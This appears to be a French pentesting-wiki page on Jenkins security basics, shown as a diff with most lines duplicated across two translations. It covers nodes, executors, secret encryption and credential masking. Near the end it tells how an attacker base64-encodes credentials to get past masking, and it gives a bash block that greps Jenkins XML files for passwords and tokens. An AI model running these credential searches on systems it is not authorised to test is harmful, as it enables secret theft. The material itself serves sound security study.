- **Unix user/group database** : **Délègue l'authentification à la base d'utilisateurs du système Unix** sous-jacent sur le controller Jenkins. Ce mode permettra également la réutilisation des groupes Unix pour l'autorisation.
Les plugins peuvent fournir des royaumes de sécurité supplémentaires qui peuvent être utiles pour intégrer Jenkins dans des systèmes d'identité existants, tels que :
Les plugins peuvent fournir des security realms additionnels qui peuvent être utiles pour intégrer Jenkins dans des systèmes d'identité existants, tels que :
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [Authentification GitHub](https://plugins.jenkins.io/github-oauth)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Nœuds, Agents et Exécuteurs Jenkins
## Jenkins Nodes, Agents & Executors
Définitions des [docs](https://www.jenkins.io/doc/book/managing/nodes/) :
Définitions d'après les [docs](https://www.jenkins.io/doc/book/managing/nodes/) :
**Les nœuds** sont les **machines** sur lesquelles les **agents de construction s'exécutent**. Jenkins surveille chaque nœud attaché pour l'espace disque, l'espace temporaire libre, l'échange libre, l'heure/ synchronisation de l'horloge et le temps de réponse. Un nœud est mis hors ligne si l'une de ces valeurs dépasse le seuil configuré.
**Nodes** sont les **machines** sur lesquelles tournent les **agents de build**. Jenkins surveille chaque node attaché pour l'espace disque, l'espace temporaire libre, le swap libre, la synchronisation/heure de l'horloge et le temps de réponse. Un node est mis hors ligne si l'une de ces valeurs dépasse le seuil configuré.
**Les agents** **gèrent** l'**exécution des tâches** au nom du contrôleur Jenkins en **utilisant des exécuteurs**. Un agent peut utiliser n'importe quel système d'exploitation qui prend en charge Java. Les outils nécessaires pour les constructions et les tests sont installés sur le nœud où l'agent s'exécute ; ils peuvent **être installés directement ou dans un conteneur** (Docker ou Kubernetes). Chaque **agent est effectivement un processus avec son propre PID** sur la machine hôte.
**Agents** **gèrent** l'**exécution des tâches** au nom du controller Jenkins en **utilisant des executors**. Un agent peut utiliser n'importe quel système d'exploitation qui supporte Java. Les outils requis pour les builds et les tests sont installés sur le node où l'agent tourne ; ils peuvent **être installés directement ou dans un conteneur** (Docker ou Kubernetes). Chaque **agent est en pratique un processus avec son propre PID** sur la machine hôte.
Un **exécuteur** est un **emplacement pour l'exécution des tâches** ; en effet, c'est **un thread dans l'agent**. Le **nombre d'exécuteurs** sur un nœud définit le nombre de **tâches concurrentes** qui peuvent être exécutées sur ce nœud à un moment donné. En d'autres termes, cela détermine le **nombre de `stages` de Pipeline concurrentes** qui peuvent s'exécuter sur ce nœud à un moment donné.
Un **executor** est un **slot d'exécution de tâches** ; en pratique, c'est **un thread dans l'agent**. Le **nombre d'executors** sur un node définit le nombre de **tâches concurrentes** qui peuvent être exécutées sur ce node en même temps. En d'autres termes, cela détermine le **nombre de `stages` Pipeline** concurrents qui peuvent s'exécuter sur ce node en même temps.
## Secrets Jenkins
## Jenkins Secrets
### Chiffrement des secrets et des identifiants
### Chiffrement des secrets et des credentials
Définition des [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) : Jenkins utilise **AES pour chiffrer et protéger les secrets**, les identifiants et leurs clés de chiffrement respectives. Ces clés de chiffrement sont stockées dans `$JENKINS_HOME/secrets/` avec la clé maître utilisée pour protéger ces clés. Ce répertoire doit être configuré de sorte que seul l'utilisateur du système d'exploitation sous lequel le contrôleur Jenkins s'exécute ait un accès en lecture et en écriture à ce répertoire (c'est-à-dire, une valeur `chmod` de `0700` ou en utilisant des attributs de fichier appropriés). La **clé maître** (parfois appelée "clé de chiffrement" dans le jargon cryptographique) est **stockée \_non chiffrée\_** sur le système de fichiers du contrôleur Jenkins dans **`$JENKINS_HOME/secrets/master.key`** ce qui ne protège pas contre les attaquants ayant un accès direct à ce fichier. La plupart des utilisateurs et des développeurs utiliseront ces clés de chiffrement indirectement via soit l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) pour chiffrer des données secrètes génériques ou via l'API des identifiants. Pour les curieux de cryptographie, Jenkins utilise AES en mode de chaînage de blocs (CBC) avec un remplissage PKCS#5 et des IV aléatoires pour chiffrer des instances de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) qui sont stockées dans `$JENKINS_HOME/secrets/` avec un nom de fichier correspondant à leur id `CryptoConfidentialKey`. Les ids de clé courants incluent :
Définition d'après les [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) : Jenkins utilise **AES pour chiffrer et protéger les secrets**, les credentials, et leurs clés de chiffrement respectives. Ces clés de chiffrement sont stockées dans `$JENKINS_HOME/secrets/` ainsi que la master key utilisée pour protéger ces clés. Ce répertoire doit être configuré de sorte que seul l'utilisateur système sous lequel tourne le controller Jenkins ait les droits de lecture et écriture sur ce répertoire (par exemple `chmod` `0700` ou en utilisant des attributs de fichier appropriés). La **master key** (parfois appelée "key encryption key" en jargon crypto) est **stockée _unencrypted_** sur le système de fichiers du controller Jenkins dans **`$JENKINS_HOME/secrets/master.key`**, ce qui ne protège pas contre des attaquants ayant un accès direct à ce fichier. La plupart des utilisateurs et développeurs utiliseront ces clés de chiffrement indirectement via soit l'API [Secret] pour chiffrer des données secrètes génériques, soit via l'API des credentials. Pour les cryptocurieux, Jenkins utilise AES en mode cipher block chaining (CBC) avec padding PKCS#5 et IVs aléatoires pour chiffrer des instances de [CryptoConfidentialKey] qui sont stockées dans `$JENKINS_HOME/secrets/` avec un nom de fichier correspondant à leur identifiant `CryptoConfidentialKey`. Les identifiants de clé courants incluent :
- `hudson.util.Secret` : utilisé pour des secrets génériques ;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY` : utilisé pour certains types d'identifiants ;
- `jenkins.model.Jenkins.crumbSalt` : utilisé par le [mécanisme de protection CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) ; et
- `hudson.util.Secret` : utilisé pour les secrets génériques ;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY` : utilisé pour certains types de credentials ;
- `jenkins.model.Jenkins.crumbSalt` : utilisé par le [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) ; et
### Accès aux identifiants
### Accès aux credentials
Les identifiants peuvent être **étendus aux fournisseurs globaux** (`/credentials/`) qui peuvent être accessibles par tout projet configuré, ou peuvent être étendus à **des projets spécifiques** (`/job/<project-name>/configure`) et donc uniquement accessibles depuis le projet spécifique.
Les credentials peuvent être **scopés à des providers globaux** (`/credentials/`) qui peuvent être accessibles par n'importe quel projet configuré, ou peuvent être scéés à des **projets spécifiques** (`/job/<project-name>/configure`) et donc uniquement accessibles depuis le projet concerné.
Selon [**les docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) : Les identifiants qui sont dans le champ d'application sont mis à disposition du pipeline sans limitation. Pour **prévenir une exposition accidentelle dans le journal de construction**, les identifiants sont **masqués** de la sortie régulière, donc une invocation de `env` (Linux) ou `set` (Windows), ou des programmes imprimant leur environnement ou leurs paramètres ne **révèleraient pas ces identifiants dans le journal de construction** aux utilisateurs qui n'auraient pas autrement accès aux identifiants.
Selon [**les docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) : Les credentials qui sont dans le scope sont disponibles pour le pipeline sans limitation. Pour **éviter une exposition accidentelle dans le log de build**, les credentials sont **masqués** dans la sortie normale, donc une invocation de `env` (Linux) ou `set` (Windows), ou des programmes affichant leur environnement ou paramètres **ne les révéleront pas dans le log de build** à des utilisateurs qui n'auraient pas autrement accès aux credentials.
**C'est pourquoi, pour exfiltrer les identifiants, un attaquant doit, par exemple, les encoder en base64.**
**C'est pourquoi, pour exfiltrer les credentials, un attaquant doit par exemple les encoder en base64.**
### Secrets dans les configs de plugin/job sur le disque
Ne supposez pas que les secrets se trouvent uniquement dans `credentials.xml`. De nombreux plugins conservent des secrets dans leur **propre XML global** sous `$JENKINS_HOME/*.xml` ou dans le `$JENKINS_HOME/jobs/<JOB>/config.xml` par job, parfois même en clair (le masquage UI ne garantit pas un stockage chiffré). Si vous obtenez un accès en lecture au système de fichiers, énumérez ces XML et recherchez des balises évidentes contenant des secrets.
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## Références
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,5 +101,6 @@ Selon [**les docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
{{#include ../../banners/hacktricks-training.md}}